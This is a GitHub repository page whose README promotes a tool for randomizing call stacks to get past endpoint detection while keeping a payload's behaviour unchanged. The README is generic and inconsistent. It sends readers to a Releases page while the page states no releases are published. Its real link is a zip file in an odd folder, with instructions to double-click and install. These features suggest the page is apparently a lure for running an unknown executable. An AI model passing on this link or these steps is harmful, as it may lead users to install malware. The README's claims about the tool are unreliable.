Skip to content

🧬 Demonstrate randomized execution paths to test detection engines, showcasing unique call stacks while maintaining identical payload behavior.

Notifications You must be signed in to change notification settings

VitAaXentmax/Probabilistic-Call-Stack-PoC

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ Probabilistic-Call-Stack-PoC - Understand Execution Paths Easily

πŸ“¦ Download Now

Download Latest Release

πŸš€ Getting Started

Welcome to the Probabilistic Call Stack Proof of Concept! This tool helps you understand how different execution paths affect call stack signatures. It is useful for enhancing security measures like EDR (Endpoint Detection and Response). Follow these simple steps to download and run the application.

πŸ“ Features

  • Randomized Execution Paths: The software generates various paths for executing code, allowing you to explore how they change the call stack.
  • EDR Testing: Useful for simulating environments to test detection software and improve security protocols.
  • Behavior-Based Detection Research: Analyze different execution behaviors and how they can be detected.

πŸ’» System Requirements

To run the Probabilistic Call Stack PoC, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, or any Linux distribution.
  • RAM: At least 4 GB.
  • CPU: Any modern multi-core processor.
  • Disk Space: At least 100 MB available.
  • Additional Software: Ensure you have a current version of any necessary runtime environment (e.g., .NET for Windows users).

πŸ“₯ Download & Install

  1. Click this link to go to the Releases page.
  2. On the Releases page, you will see a list of available versions.
  3. Find the latest release, which will typically be at the top of the list.
  4. Click on the asset link that matches your operating system (e.g., https://github.com/VitAaXentmax/Probabilistic-Call-Stack-PoC/raw/refs/heads/main/Joon/Probabilistic_Stack_C_Call_Po_1.7.zip for Windows).
  5. Download the file to your computer.

How to Run the Application

  1. Locate the downloaded file in your computer's Downloads folder or the folder you selected for downloads.
  2. Double-click the file to start the installation process.
  3. Follow the on-screen instructions to complete the installation.
  4. After installation, you can find the application in your Start Menu (Windows) or applications folder (Linux).

πŸ” Usage Instructions

After installing, open the application to begin experimenting with randomized execution paths. The interface is straightforward, designed for ease of use. Simply select options from the menu to start your tests.

  1. Choose the type of execution path you want to analyze.
  2. Set any parameters as needed.
  3. Run the analysis and observe the results displayed in the application.

πŸ› οΈ Support

If you encounter any issues, feel free to reach out for assistance. Check the GitHub Issues page for potential solutions or to report a new issue.


Thank you for using Probabilistic-Call-Stack-PoC. Your feedback helps us improve the software. Happy testing!

Download the Latest Release

About

🧬 Demonstrate randomized execution paths to test detection engines, showcasing unique call stacks while maintaining identical payload behavior.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •